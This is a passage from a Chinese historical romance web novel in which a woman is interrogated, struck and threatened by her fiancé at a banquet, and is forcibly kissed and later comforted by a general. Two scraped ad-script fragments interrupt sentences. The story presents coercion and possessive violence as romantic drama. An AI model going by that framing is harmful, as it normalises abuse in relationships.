他将满腔怒火揉成一股蛮力,同那柔软香甜舌尖缠斗八百回合。碰触香唇刹那,心中憋闷的无尽愤怒,瞬间找到倾泻口,尽情地向花朵宣泄释放。万般烦恼化作清风,消失于无尽的深吻,唯剩一点遗憾缭绕心尖。 早知如此方能解恨,何须前番费尽周折? 苏绾来不及反应,下一刻已被对方摁在墙壁狠亲,满脑子唯有一个念头:温如初要来抓她现行。 她会被温如初口舌折磨致死,而他则独善其身,根本不会在意她的死活,没准还煽风点火,助长恶鬼嚣张气焰。 无边无际的恐惧,从四面八方袭来,钻进身体每处毛孔,阗塞满满又复溢出,腐蚀苏绾的灵魂。像一朵含苞欲放的雏菊,还未开始绽放人生,就被无情冰雪整根吞没,化作一滩春泥护花。 “嗯?” 时枫本徜徉在绵软香玉之间,忽然察觉怀里的人儿缩成一团,浑身如遭雷劈,摇晃颤抖不已。遂停止唇舌攻击,顺势去摸她的手,摸到一块冰骨。 “你在害怕?”男人感到迷惑,他不是第一次吻她。若说不愿意,也不至于惊吓至此。 佳人面色惨白背靠墙壁,好似一尊濒临破碎的白玉雕塑,顷刻间化为粉齑。 “是我太凶了吗?”时枫隐约意识到自己行为不妥,暴戾恣睢,姑娘不害怕才怪。 苏府的眼线“鳐鱼”传来密报,告知苏绾近日行径,言及购买合欢散一事。虽已料到她一贯行径如此,可当那些不堪的证据递到面前时,男人大发雷霆,倏地抽出挂在墙壁的紫菁宝剑,一剑斩断红木桌案,声如响雷。 从来没有人,敢这样对他。 亏他还为救她,剖心刮骨,地狱走一遭。 熟料自己活生生成为笑话。 他须给她点苦头尝尝,让她吃到教训。 温如初端阳节邀了苏绾共聚醉仙楼,正是好机会。动身出发之前,他暗地里拦了一桩案子丢给户部处理,温如初必会有所耽搁。如此一来,他就可报一包春药的耻辱。 可他的愤怒,早已融化在香软朱唇,阗满他心尖的,皆是怜惜。 “抱歉,我做得太过了。” 男人搂着削薄的肩膀,大手轻抚后背。抱着战栗不已的佳人,他完全没有报复得逞的畅快,反倒生出一丝愧疚与懊悔。 苏绾的神志渐渐回归,她抬起螓首,凝望凤眸,哽咽道:“你问我为何怕得这般狼狈不堪?很快你就知道了。” 时枫欲再问个究竟,却被她伸手推开。佳人莲步轻挪,缓缓走出房间,立于围栏处,站成一块望夫石。 “小姐……” 楼下焦急等候的无霜,急急忙忙爬上楼梯,险些栽了个跟头,“霜儿瞧见姑爷的马车转过街角,这会子已停泊靠站,很快就要到了。” 她朝屏风后方瞥了一眼,正撞上“黑脸将军”恶狠狠的目光,吓得一哆嗦,手里荷包坠地。 无霜俯腰拾起荷包,惴惴问道:“他怎么还不走?被姑爷看见不好。小姐有没有被他刁难?可曾受委屈?” 苏绾摇头,“我没事。”又垂眸道:“他不怕温侍郎。” 无霜抱怨道:“不管怕不怕,这许多人都在,难道他不知避嫌的道理?他又不比文竹的身份状况,怎可这般与小姐亲近,分明是不把小姐的命当回事。” 是啊,他又怎会在乎她的死活呢? 苏绾俯瞰酒楼,一派醉酒笙歌。繁华落尽处,温如初一身月白锦袍,风度翩翩,楚楚谡谡,方步徐徐而来。 23. 饭局 “绾绾。” 温如初剪着手臂,立在楼梯口,桃花眼仰望佳人,笑意熏熏,“我来迟了些,等急了吧?” 苏绾摇摇头,弱柳扶风般扶着廊柱,“念哥哥,好久不见,你可还好?” “是有一点久。”温如初趸上楼梯,踱步苏绾面前,顺势揽住腰束,耳鬓厮磨道:“自纳征以来,将近俩月未见,你想不想我?” 苏绾羞涩垂眸,两颊红云融融,“嗯。” 才子佳人登对,养了在座宾客的眼。高谈阔论的公子哥,见了登科状元,自然相形见绌。旁边作陪的美人,钦羡他潇洒不俗,亦忍不住频频抛媚眼。 一时间,一双妙人成为酒楼目光专注的焦点,窃窃私语的对象。 然而,在众多投射而来的艳羡视线,与啧啧赞叹声音包围下,苏绾感觉到身后一道独特的冷戾目光,伴着若有似无的嗤笑,让她如芒在背,浑身不自在。 她挣脱开束缚,佯作羞怯,“这里人多,进屋再说。” 温如初剪着一条胳膊,捏了捏苏绾的鼻尖,勾唇道:“怕什么?满京城皆知,你是我温如初的未婚妻。不日里,我就要娶你过门,哪有这许多顾忌?” 话虽如此,温如初还是牵着苏绾的手,一同步入雅间,留无霜在一旁伺候,小二开始传菜。 案边坐着京卫指挥使时枫,不知是不是饿坏肚子,还是别的什么原因,让他有点不耐烦。男人脸色微青,一杯接一杯豪饮。 温如初起初一愣,很快镇静下来,月白袍子一甩,桃花眼眸弯了弯,“今日真是难得,什么风吹来榆白?” 时枫举着青瓷酒盏,掀眸瞭了他一眼,“你还有脸说?为兄记得,纳征那日,有人信誓旦旦承诺醉仙楼一聚。我在家沐浴更衣斋戒两个月,也没见到请柬模样,只好自己厚着脸皮来了。” “抱歉抱歉。”温如初引苏绾落座旁边,自己坐在时枫对面,笑眼睇他,“我一直想着你呢,帖子下了几次,都被贵府仆从挡了回来,言将军忙于应酬兵部尚书和五军都督,无暇赴我小小侍郎的宴席。捡日不如撞日,今儿个正好与榆白一醉方休。” 他亲自设局拦截温如初,抓住空暇先到一步,就为见苏绾一面。在没弄清楚那疯婆娘胡乱瞎搞的原因之前,他绝不会善罢甘休,哪怕是直面温如初。 三人坐在一处,彼此各有心事,沉寂半晌也无人说话。 酒过三巡,温如初放下酒盏,“我今天遇到一件奇事,榆白有没有兴趣听一听?” 时枫捏着酒盏不言语,鼻腔“哼”一声敷衍了事。 温如初道:“礼部徐尚书的小儿子徐引,任正五品太常寺少卿。徐尚书奉旨典选浴兰节供品祭祀,下放给太常寺责办。谁知徐引贪墨朝廷供银,转手上交一批腐烂果品,残次香供,被司礼监的太监抓个正着,召锦衣卫送进诏狱。徐尚书心疼儿子,一早找上我的门,要我拿着供银账目,去诏狱监管对账。” 实际上,徐尚书最初拜求的人,并非温如初,而是京卫指挥使时枫。因锦衣卫隶属上直卫,原则上来讲,受京卫指挥使管辖。 时枫替徐尚书指条明路,供银历来由户部礼部共同监管,账目出了问题,应由两部联合监察,防止锦衣卫单方面夸大其词,暗箱操作。 徐尚书如梦初醒,对时枫感激不尽,拜了又拜。这才坐着轿子拐去户部,一把鼻涕一把泪,哭求户部侍郎温如初救命。 时枫冷冷道:“徐引乃庸才,人赃并获,有何好申辩?想必这过堂审问也索然无味,不值一提。” 温如初挑眉睐他,“急什么,这只是开场,后面的戏,精彩纷呈,管保你叫好。” 他继续说道:“我到了诏狱,锦衣卫镇抚使正审问徐引。那徐引纨绔子弟,受不得刑罚,一鞭子下去全都招了。原来他同徐尚书一房小妾私通有染,小妾唆使他贪墨供银,一来中饱私囊,二来假若东窗事发,只将责任全部推到徐尚书身上,反正老子护犊子,总不会眼睁睁看儿子送死。他二人计划天衣无缝,可惜小妾看错男人,机关算尽,反送了卿卿性命。” 这结局倒是让时枫始料未及,以为不过是一出“贪心不足蛇吞象”,未曾想结局却是“算伊浑似薄情郎”。 时枫停杯一问:“徐尚书知否?” 温如初掀眸凉凉睇他,“知道如何,不知道又如何?最毒妇人心,焉知枕边人是否同床异梦,与你一心齐?保不准表面曲意逢迎,暗地勾引奸夫,意图谋财害命。” 时枫叹道:“徐尚书兢兢业业,为国家社稷殚精竭虑,却落得晚节不保,子弑父,妾叛夫下场。所谓红颜祸水也。” 趁着他二人闲聊,苏绾细细琢磨一番,温如初约她见面,必是准备着过问大理寺狱一案,只是眼前被时枫的突然出现所阻挡。 按着温如初的性情,绝不会当着外人的面,对她色厉内荏地审讯。今日这局“鸿门宴”,恐要流局。 她须前方引导恶鬼,一步一步掉进陷阱。 “红颜祸水,说得不错。”温如初伸手揽苏绾的肩膀,半个身子凑近,暧昧道:“绾绾绝不会这般对我,是吗?” 苏绾下意识地侧身一躲,差点跌下凳,慌慌张张坐正,抬手又打翻酒盏,沾染一身糯米酒腥。无霜见状,赶紧拿出绢帕,跪在地上给苏绾擦拭。 温如初觑着她的窘迫,剪了剪桃花眼眸,伸出素白手指,勾起苏绾的下颌,看了又看,“绾绾有些心不在焉呐。” 放下手,熏风解愠道:“是因为我最近冷落了你吗?” 苏绾星眸一滞,万般情绪涌上心头,似有难言之隐,突然伸手推开温如初,神色悲戚道:“绾绾有罪,绾绾对不起念哥哥。” 温如初微微惊诧,勾唇道:“你怎么了?” “十多日前,绾绾乔装打扮,街头摆摊算命。被时将军抓捕入狱。狱中绾绾不思悔改,冲撞前来探视的母亲,迫不得已写下悔婚书。” 星眸含泪,凝望温如初,“念哥哥愿意原谅绾绾,绾绾无以回报,唯有今生今世不舍分离。” 时枫冷眼睇着他二人暧昧,牙齿咬得紧紧,恨不得掀翻桌案。又闻佳人哭断柔肠,然而扶乩一案已撤销,大理寺呈报三司,未留半点案底。她竟然主动揭开伤疤,究竟为哪般? “既然你自己提起,那我倒要问你一句。”温如初攥住苏绾的手腕,“你冒着被抓的风险,假扮算命先生,街头行骗揽财,意欲何在?” 苏绾头埋得很低,“绾绾……心思无他。” “绾绾,其实你不想同我成亲,对不对?你的目的只有一个——逃婚。” “我没有。”苏绾咬着灰白嘴唇,细细吐出几个字。 “真的没有吗?” “我可曾亏待过你一分一毫?我甚至跟苏家提出废止嫁妆,彩礼翻倍。” “你告诉我,你要钱做什么?嗯?” 苏绾挣扎着抽回手,揉搓泛红的手腕,目光幽怨凄婉,“念哥哥,你好凶啊。” 无霜跪倒在地,哭道:“姑爷,你冤枉小姐了,小姐她从未想过离开姑爷。” “小姐曾说过,嫁给姑爷,是她一生梦寐以求的愿望。怎么会想着逃婚呢?”皱巴小脸淌满泪水,写满委屈与无助。 无霜扯住苏绾的衣袖,泣道:“小姐甘冒天下之大不韪,天桥行此险径,是为了……” “霜儿,不要再说了。”苏绾急力伸手去遮她的嘴,多说无益,何必辩白,让人瞧不起。 “绾绾没有逃婚,也没有偷人。”苏绾低着头,咬着嘴唇,鬓发刘海遮挡住她的眼。 温如初一愣,桃花眼眸翻了翻,端起锦白的袍袖,仔细回味她的那句话。 她说她没有逃婚,诚然,没被抓住把柄前,她绝不会轻易承认。 她还说她没偷人,这就有点意思了,他可从未指责过她这一点。 此地无银三百两。 假若逃婚与偷人能够相提并论,那么说明两者之间存在必然联系,被人抓包一处,另一处自然败露。 结论不言而喻:逃婚为偷人,偷人因逃婚。 “你在说什么疯话?”温如初眼眸一沉,锦白袍子一甩,“逃婚总要有个缘由,不为偷人——” “难道是因为我的错?我对你不够好,还是,你觉得我配不上你?” 苏绾的头摆得很低,心却高高揪起,如颠簸风浪中的一叶孤舟。 “说话!”温如初拳头一砸桌案,震动酒盏酒壶翻倒倾覆,酒水洒满桌。他虽外表看着纤细,内里其实练过几年功夫,手劲较普通人大一些。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 苏绾吓得哆嗦,像只受惊的玉兔,全身炸毛缩成一团,瑟瑟发抖。 “不,不是,绾绾不是那个意思。” “那你又如何解释,逃婚的理由?”他渐渐失去耐心,双手紧紧攥拳,搭在桌案上,浸湿一片酒腥味。 “没有,没有逃婚。念哥哥,你要相信我。” 她的声音越来越低,渐渐地,低进尘埃里,揉成啜泣。像呜咽的猫叫,细细碎碎,挠得时枫心尖不是滋味。 他摩挲束腕镶嵌绿松石,冷冷道:“她都说了没有,你还逼她作甚?” “榆白,你不用替她说情,她谎话连篇,没有一句实话。”温如初咬牙切齿道。 “从前她不是这样的,不知遇见什么不三不四的人,被猪油迷了心。纳征那日你也看见了,奸夫领进门来羞辱我,士可杀不可辱!”温如初一副恨铁不成钢的样子,气得脸色铁青。 “如今她跌落至坑蒙拐骗地步,我再不去管她,只怕有朝一日她做出伤天害理的事情。一步错,步步错,万事休矣,忒折煞我心。”温如初惨白的脸上,写满无奈与惋惜。 时枫觑着他的发小,揣摩其肺腑之言,找不到一点错处。爱之深,责之切,当真是一位值得托付终身的良人佳婿。 可是,他并不想放开手,无论对方是不是兄弟。 时枫拍拍温如初肩膀,破天荒地安慰道:“她并非这般不堪,你想多了。” “纳征那日我也在场,偷人一事荒诞不经,众目睽睽之下,奸夫能逃去何方?” “天桥占卜乃本人亲自监办的案子,不过就是哄着几个生意人,能有多大罪过?” “我敢以性命担保,她并没有做过任何对不起你的事,是你多心了。” 言语恳切中肯,完全不似“冷面阎罗”所为,倒让温如初始料未及,停下风霜刀剑的逼问。 苏绾低低地啜泣,泪水似断线珍珠,颗颗滚落,浸湿烟罗绮云裙。男人沉稳的声音传入泪人儿耳畔,星眸几不可闻地轻轻一弯。 苏绾突然起身,跪伏温如初膝下,“念哥哥,绾绾知道错了,再也不敢了,你原谅我,好不好?” 温如初睨着她的哭脸,“你哪里错了?” 苏绾悲道:“绾绾辜负了念哥哥的一片真心,占卜行骗确凿,绾绾不敢否认,逃婚真没的,勾引他人万万不敢。” “我要赚钱,实为购买一种西夏进贡细如蛛丝的金线银线,以及苏州十年之间筛选最精细蚕丝织就的丝绸,缝制一件世上绝无仅有的嫁衣,绣满龙凤鸳鸯图案,点缀珠宝锦绣,价值连城,方能配得上念哥哥的宠爱。” 佳人哭得梨花带雨,星眸晶莹含泪,鼻尖红润剔透,真真我见犹怜。清风吹拂衣裙摆动,莲叶何田田,眼泪化作一颗颗露珠,出水芙蓉般柔美。 一瞬间,温如初幡然醒悟。 那副矫揉造作的神情,都是她装出来的,不过为博取同情的手段。 她先使一招“激将法”,成功激起他的愤怒,再来一出“苦肉计”,引得旁人怜爱护花之心。 她何时变得这般诡计多端? 他将这份疑虑按下不表,面上装作松口气,扶起苏绾,环抱腰束,“原来如此。” 温如初叹道:“你怎么那样傻?缺钱跟我说一声,宫里提督织造太监与我有交,什么样式的布匹丝线弄不到?用得着你赚钱去买?” 苏绾哭道:“伸手要来的,怎比得上费心挣得的?绾绾想给念哥哥一个惊喜,谁知弄巧成拙,惹出天大的麻烦。绾绾知错了。” “知错就好,下回再不许这样。”温如初将苏绾揽在怀里,神情充满痛惜、怜爱、与欣慰。 一双妙人儿惺惺相惜,没人注意到,被晾在一边的时枫。许是被一番秀恩爱闪了眼,时枫怒道:“丢人现眼的东西,演这出苦情戏给谁看?” 他霍然站起身,阵风踱步出门,冷冷丢下一句:“以后这种宴席不要请我,请我也不会来。” 温如初摆手,“榆白慢走,改日再请你。”言毕,搂着苏绾,缠缠绵绵难分离。 时枫出得醉仙楼,晴雷备好马车,“爷要回将军府?” 时枫瞟了一眼雅间方向,低声道:“先躲进巷道藏起来,跟着苏府的马车。” 24. 癫狂 醉仙楼。 苏绾呆呆地坐在圆凳上,心里七上八下,温如初不会轻易放过他。 “念哥哥……”苏绾低低地唤道,“绾绾身体偶感不适,可否先行告退?” “绾绾。” 温如初手里把玩一根象牙箸,不断敲打桌面,漫不经心道:“近来,你变得愈加不听话,外人面前折损我颜面,让我忒下不来台。” 苏绾一惊,“绾绾不敢,念哥哥何出此言?” 象牙箸寻到一条桂花鱼,箸尖对准鱼眼睛,用力一插,不当不正立在空中。鱼眼睛爆浆,掀起浓重的鱼腥味,溅了烟云裙满身。 无霜早被赶出房间,在楼下等候。这会子没人伺候苏绾,她只得自己拿绢帕反复擦拭。 “不敢?”温如初丢了象牙箸,桃花眼眸闪烁阴冷寒光,“一早就该解释嫁衣的问题,可你并没有。偏要搬出所谓‘偷人‘一事,妄图混淆是非,博取同情。” “你心里打的什么算盘,我会不知道吗?” 他的语气,不轻不重,不急不缓,完全不似方才那般疾言厉色,温润如玉好像换了个人一般。 这才是温如初真正本色,像一条盘踞岩穴的毒蛇,缓缓趋向猎物,伺机抛出致命一击。 她低着头,捏着衣角,细声道:“绾绾没有任何打算,念哥哥多心了。” “还敢顶嘴?翅膀长硬了。”修长白皙手指屈起,轻敲佳人螓首,“我初见你时,你乖顺听话,笑容纯真,一下子吸引我的视线。” 凉凉的指肚缓缓划过光洁额首,高挺鼻梁,小巧鼻尖,触碰朱红唇瓣,令苏绾微微一颤。 “为得到你,我不惜春衫践泥涂,折腰臣服于令人作呕的苏家,任凭他们驱使草木。” 忽然眼眸一沉,四指狠狠捏住脸颊,手指肚用力挤压人中,力度过大,疼得苏绾尖叫不止,“啊——” “我为你付出那么多,你回报我的是什么?嗯?” “撒谎,欺骗,隐瞒……” “还学会利用男人的同情心,公然骑到我头上来。” 苏绾疼得受不了,情急扯弄掐在人中的手指,却被另一只手抓着发髻摔在桌案。“嘭”的一声,额面撞上硬物,鼻腔两条血柱倏地流下来,滴答滴答,烟罗裙斑斑点点。 温如初揪起苏绾的发髻,贴着脸颊道:“我的耐心有限,你再跟我调皮捣蛋,耍那些小花招的话——” “我会让你后悔活在这世上。” 鼻血淌进喉咙里,呛得苏绾猛烈咳嗽,眼泪横流。那只纤白的手掌却又松开,轻拍苏绾后背,体贴地帮她缓解咳唾。 “逃婚也好,偷人也罢。我权且相信你一次,就当补偿你之前的乖顺。” “如果你想着要离开我,”手掌停在后背,冰冷声音一字一顿敲击苏绾的后脑,振聋发聩,“天涯海角,我都会抓到你。” “绾绾,你永远别想逃出我的手掌心。” 耳边反复回响这句话。 他说到做到。 温如初是什么人? 他将朝廷官员玩弄于股掌之间,手段高深莫测。六部尚书算什么东西,内阁七子要么落罪,要么提前告老还乡。司礼监的太监们,挨排跪着求他庇佑。皇子们死的死,废的废,最后他和皇后私生子被推举继位称帝,他做了摄政王。 她永远都逃脱不掉,他的爪牙。 阖合眼帘,流绪微梦,浓厚硝烟滚滚,焦糊气味四散。天地轮回,血霭曈曈,茫茫漫漫迷途。 苏绾似掉进一个永不休止的梦境,八荒六合混沌未分,冥冥之中,传来一声怒吼,如盘古初开,惊破天地。 “苏绾,你给我快点醒来!” 正当苏绾迷迷糊糊之际,侍从远舟急急赶来酒楼。 远舟拜道:“主子爷,奴才适才接到镇抚使急报,言礼部尚书大闹诏狱,直言证据有诈,已昏死堂中。这会子诏狱乱成一锅粥,宫里面各方均已到位,司礼监的掌印太监,点名要主子爷到场查证。” 温如初一愣,户部礼部联合监管供银,礼部出了事情,他户部难逃干系。 温如初召小二安置苏绾,他和远舟趟过长廊,下楼趸入马车,匆匆先行一步。 楼下的无霜见温如初离去,急忙去找苏绾,却被小二拦住,“姑娘莫走,老爷吩咐小的护送客人回家,敢问府上家居何处?叫辆马车,还是轿子?” 待无霜打点完事,正要奔上二楼,冷不防被身后一道黑影抢先一步。 “楼下等候,莫要打扰。”黑影停了一息,“晴雷会安排照顾你。” 说完,黑影三步并作两步,阵风般窜上楼梯,直奔二楼雅间方向。 无霜抬眼一瞧,惨绿少年身穿曳撒服,腰挎雁翎刀,风一样伫立面前,遮挡半片耀眼的阳光。 少年冲她粲然一笑,露出洁白牙齿,伸手做一个“请”的姿势。 无霜知其没有选择余地,微微点头示意,脚步轻快越过。 绣衫罗裙飞扬,似蝴蝶翩跹花丛,晴雷闻到一股淡淡的栀子花清香味。 少年摸摸鼻尖,握紧雁翎刀柄,沉稳跟过去。 * 苏绾昏昏沉沉,细身趴伏香案。人群来去匆匆,无人在意她的存在。 脑中一片混乱,意识逐渐迷蒙剥离,思绪堕入深海沉沦。如一根轻羽,飘飘荡荡,摇摇曳曳,随波滂渤怫郁,上下颠簸流离。 冥冥之中,一点火花扑闪。 光晕不断跳动,扩大,蔓延至天际。 光辉漫及之处,万物湮灭,世界陷入沉寂。 苏绾乍然惊坐起,四处寻找庇佑之所,躲避那吃人的光晕。 她屈膝跪伏案下,两手不断摸索攀爬,爬上西侧塌床。 又摸到一张炕桌,四四方方,下底中空。 苏绾抓到救命稻草,她努力蜷缩一团,欲往炕桌底下钻,认为那里是天底下最安全的地方。 才刚探进脑袋,突然被一股蛮力扦住双腿,拔塞子一般抽出,跌进漆黑硬实的胸怀。 苏绾下意识张嘴喊叫,却被大掌死死封口,发不出半点声音。 “闭嘴,不要命了。”低沉雄浑声音贴近耳际,落雪青松的气息缭绕周围。 那股松木气息,激发苏绾记忆深处的恐惧,油腻的松脂滴落螓首,啪嗒啪嗒,倏地钻入深海。 她窥见天地幻化出高大骇人的巨兽,向她伸出锋利爪牙,张开血盆大口要吃她。 苏绾拼命挣扎踢打,同那巨兽纠缠斗狠。 时枫腹部双股两臂各处,不知遭受多少抓挠,浑身肌肉紧绷,青筋暴起,坚硬如盔甲。 “你再折腾,我就把你丢出窗外。” 苏绾充耳不闻,眼睛瞪得大大的,几乎没有眼白可见。眉头紧蹙,额间布满细密汗珠。嘴唇索索,发出微弱呜咽声。浑身僵硬不动,呼吸急促而浅,胸脯起伏跌宕。手指紧紧地反抠他的衣襟,指甲深深地陷进布料。 “苏绾,你给我快点醒来!”男人咬牙低低怒吼。 原来时枫自从观摩苏绾上演的一出“苦肉计”,方知疯婆娘的用心良苦。苏绾先是主动提起大理寺狱一案,引导温如初猜测意图,牵出“逃婚说”,再以“缝制嫁衣”为理由,自圆其说。 破解谜题关键,在于嫁衣的材料。 他清楚的记得,苏绾亲口说过:她旧年得人赠与西夏进贡的丝线,及苏州十年内产出最好的丝绸,打了那条墨金络子。 可见,“嫁衣说”完全杜撰,根本站不住脚。。 他已成功接收到苏绾想要传达给他的信息——她费尽心思赚钱,原因为逃婚。只是,唯有一点他还未想清楚——她为何逃婚? 他坐在马车里等候良久,不见苏绾出来,却见温如初同侍从远舟匆匆乘车离开。 时枫急急冲上二楼。 一打眼,睇见苏绾佝偻身子,好似脱壳乌龟,拼命往炕桌底下钻。 时枫忍着笑,本想借机嘲弄她,谁知伸手一拉,拉出惊弓之鸟。 苏绾两耳不闻,两眼不见,像只受伤的野猫,张牙舞爪,谁靠近就咬谁。 时枫只好骑身压在她背后,右手捂住她嘴巴,左手反制她两臂,姿势十分不雅观。 苏绾侧脸趴俯塌床,两眼不住淌泪,满脸绝望和恐惧。发梢被汗水和泪水湿润,成簇成绺聚集,唇角被什么人咬破,缺少一块皮肉。鼻子嘴唇附近,粘连一块块风干的血迹,衣裙领口处斑斑点点,裙摆处散发一股鱼腥味。 美人断肠,支离破碎。 男人蓦然感到钻心的痛惜与愧疚,凑近耳畔,轻声道:“莫怕,我不会伤害你。” 许是觉得话语太过柔软,与自己威严形象不符,又冷冷说道:“咱俩之间这笔账,等你脑子清醒再算。” 然而苏绾并没有像往 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 常那般回怼,瞳孔翻涌着痛楚和悲苦,啪嗒啪嗒流眼泪,汇入男人心底深海。 他也不能一直这样压着她不动,好言相劝:“我放开手,你不许大叫,听见没有?” 试着松开些间隙,可甫一起身,苏绾立即不安分起来,腿脚开始乱蹬。踢到歪在一边的炕桌,发出“滋啦”刺耳的响声,不用想,小腿必是红肿一片。 时枫沉沉地呼出口气,再次掀起眼眸,眸底蓄积炽热火焰,一字一顿道:“你再不老实,我就不管你了。” 这次苏绾似乎听懂了,安安静静地趴着。想是折腾乏了,没得力气再挣扎,又或者方才那一踢,力度过大,伤到她筋骨。 见她不再闹腾,时枫试探道:“这里很安全,没人伤害你。我松开手,你不许叫,也不许踢,听见没有?” 有上次前车之鉴,时枫并不十分信任她。他不怕苏绾发癫,小小女子,力气比猫咪大不了多少。他担心自己手重,失手伤害她。 他缓缓松开手掌,抽回手臂,又将苏绾翻过身,仰面躺好。全程好似倒扣斗笠抓捕麻雀,蹑手蹑脚,生怕惊醒猎物。 万幸苏绾并未喊叫,任他摆弄也不吭声。 时枫右手已麻木,险些抬不起来。双肘强撑住身体,两腿分开,跪在榻上。抬起左手,轻轻抹了抹小脸,揩去眼角残泪。又用丝袍袖口,仔细擦拭唇际血痕。 伤痕累累,触目惊心。 他不过离开短短一刻,怎么就落得这般破落不堪模样。 “苏绾……” 时枫心内烦乱,气血上涌,非要将那罪魁祸首凌迟处死不可。 星眸凝望他,眼神混沌无光,思绪似在宇宙某处飘荡。男人手掌在她眼前晃了晃,乌黑瞳仁麻木不仁,没有一丝波澜。 他起先疑心插在身体里的针没有除尽,可他早先旁敲侧击询问过她,确定是七根没有错。老道也不至于在数量上缺斤少两。 后来又怀疑她自己吃了合欢散,然而她的反应与服用合欢散症状不符,无论量多量少,服用□□的第一反应,都是霪欲充盈,精满自溢,身体燃烧邪火。 时枫纵横沙场十来年,见过无数伤兵逃兵,轻者对战争谈虎色变,重者遭受精神损害,时常陷入崩溃状态。兵营里有种说法叫做:营啸。一声嚎叫,引发士卒癫狂,自相残杀,大军一溃千里。 他深知精气神乃人之根本,一旦精神防御城墙坍塌,其人萎靡不振,如堕混沌。 苏绾是被人吓破了胆子。 “苏绾,你搞什么鬼?存心气我吗?”他抿了抿嘴唇,试探道:“你在怕什么?父母责罚,还是刑讯逼供,亦或三千貲金,或者……” 男人凤眸一沉,嘴边缓缓吐出两个字:“结婚。” 果不其然,苏绾身子骤然一顿,眼眸惊恐万状,泪珠大颗大颗蹦出,“我死也不要结婚。” “为什么?” “不要结婚,不要结婚。”苏绾像转磨的驴子一样,不停重复这四个字,越说越激动,大有病情复发之势。 时枫唯恐她又癫痴,低声下气哄她道:“好好,不结婚不结婚,明日退婚,如何?” 苏绾眸子陡然亮了亮,嘴角竟挤出一点笑容。桃花面颊更显娇俏可爱,海棠醉日,少女独有的狡黠。 时枫登时感觉自己是大傻瓜,被蛇蝎美人骗得团团转,他甚至怀疑她装疯卖傻。 男人没好气地质问道:“温如初一表人才,官运亨通,谋求嫁他的女子从南城门排到北海,你却偏偏想要退婚,到底打的什么鬼主意?” 话语既落,苏绾脸色骤变,双手搂住时枫脖颈,两腿搭上背脊,“叫他走,你快叫他走,我不要和他结婚,死也不要!” 时枫真想抽自己耳光,好不容易安抚住她,转眼间前功尽弃。 苏绾紧紧贴在他身上,葱白手指掐进后背皮肉,生怕他会逃走一般。时枫不得不腾挪出一条手臂,环绕抱着她,好似父亲抱幼童,起身倚靠塌背而坐,放她在股间,抚摸她散落长发。 “走了走了,我将他赶得远远的,再不会回来。婚已经退了,没人娶你。” 苏绾下颌架在他宽阔肩膀,嗫嚅道:“真的吗?你不要骗我。” 时枫轻拍她后背,声如温玉,“真的。我从来不骗人。” 苏绾终于乏了,伏在男人肩头,渐渐地,睡着了。 梦里花落知多少。 25. 契约 申时初刻,廊檐悬挂艾蒿并菖蒲,香气氤氲扑鼻,驱散邪灵瘟疫。榴花艳丽如火,垂柳柔美如仙,绿杨飘舞如烟。 街边行人如梭,小贩吆喝声连绵不绝:“卖粽子咧~” 叫卖声嘹亮高亢,吵得苏绾不得安宁,斑驳阳光照进雅间,让她睁不开眼。趴伏在软褥间,身子扭来扭去,柔软舒适,暖意盎然。 “醒了?” 耳边响起男人冰冷深沉的声音,带一丝倦意。 是谁?苏绾思维停止一瞬,忽然意识到,自己正趴伏男人胸膛。瞬间全身血气倒流,猛然惊坐起,从男人身上滑下,“流氓!” 男人躺卧木塌,翘着二郎腿,头枕双臂,掀眸望着苏绾,嘴角一斜,“不错,是有个女流氓,非要往我怀里钻。” “贼喊捉贼。”轻飘飘四个字。 苏绾定了定神,蓦然感到浑身散架一般,酸软无力,她没好气似的嗔道:“你为何躺在这里?” 僵卧一个多时辰,四肢肌肉早已麻木,时枫从塌上艰难爬起身,一边活动筋骨,一边冷声道:“你应当问我,‘你为何困在这里?‘” 天晓得,苏绾昏睡他怀里,身子骨根本无法落地。轻轻一挨塌床,立刻炸毛惊醒,哭着喊着叫疼,直嚷嚷“针刺死我”,满嘴胡言乱语,颠三倒四。 那针,不是早都取出来了吗?分明就是装蒜。 然而时枫没得办法,只好抱着她哄睡,后来实在撑不住,自己躺卧塌床,充当人肉褥垫,让苏绾趴伏身上,这才沉沉睡下。 苏绾努力搜寻脑海,记忆停留在被温如初训话,要她“乖顺听话”,后面发生的事,她一无所知,脑中空白。 可她明明记得,时枫先行离开宴席,临走之前还颇为不忿,叫嚣“以后别请他”。 她狐疑道:“你不是已经走了,还回来做什么?” 时枫单膝支立,搭坐在塌边,拎起炕桌上酒壶,斟满青瓷酒盏,举杯一饮而尽。 他掀眸睐着她,眼眸泛着一丝跅弛不羁,信口胡诌:“本将军接到线报,有一女歹匪,藏匿醉仙楼,手持合欢散,图谋仙人跳。” “你说,我回来做什么?” 又在胡诌八扯吓唬她,苏绾翻了翻白眼,“不是两清了?怎么还翻旧账?” 男人嗤笑道:“亲你一口就能撇清罪孽?我竟不知天底下,有这等划算的买卖。” 苏绾举着小拳头抗议,“那你想怎样?梅开二度,将我再送进牢狱?又没抓我现行,我买合欢散留作自用,请问违反哪条律例法规?” “你犯了本将军的律法。”男人垂眸。 “你以为仅凭一夜春宵,就能换得本将军心甘情愿为你卖命,与你做伥鬼?你想得美!你没有资格坐上牌桌,跟我讨价还价。扎进你身体里的七根针,别想着我会帮你取出来。天下没有免费的午餐,你须谨记这个道理。” 苏绾猛一抬头,瞥见那双深不见底的眼眸,犹如化不开的浓墨。 她懒得跟对方争辩,她买合欢散目的,根本不是为蛊惑他,她也没这个胆子,去跟一匹猎兽明争暗斗,她巴不得他赶紧放过她,不要再纠缠她不放。 细想一下,前前后后,她的确抱有那么一线希望,乞求他能帮她作证,拿下苏夫人。可这缕缥缈痴妄,早就葬送于那晚月明风清。 心一横,苏绾紧咬贝齿,高傲抬起头,“奴家敬仰将军威名,这才攀附将军庇佑。不曾想,将军徒有其表,银样镴枪头,中看不中用。” “不过是几根细针罢了,奴家何必可着一棵歪脖树吊死。京城有名有姓的英雄豪杰,海了去了。未必都如将军一般,瞎眼不识抬举。” “我看兵部尚书家的长子就很不错,任五城兵马司都指挥,有权有势有地位,人高马大,又讲义气。奴家去叩他的门,一准不会被拒绝。” 时枫眼眸愈加深沉,眸底泛出怵人阴鸷光芒。“咔嚓”一声,手里青瓷酒杯碎裂两半。好在酒杯中空,并未洇湿衣襟。 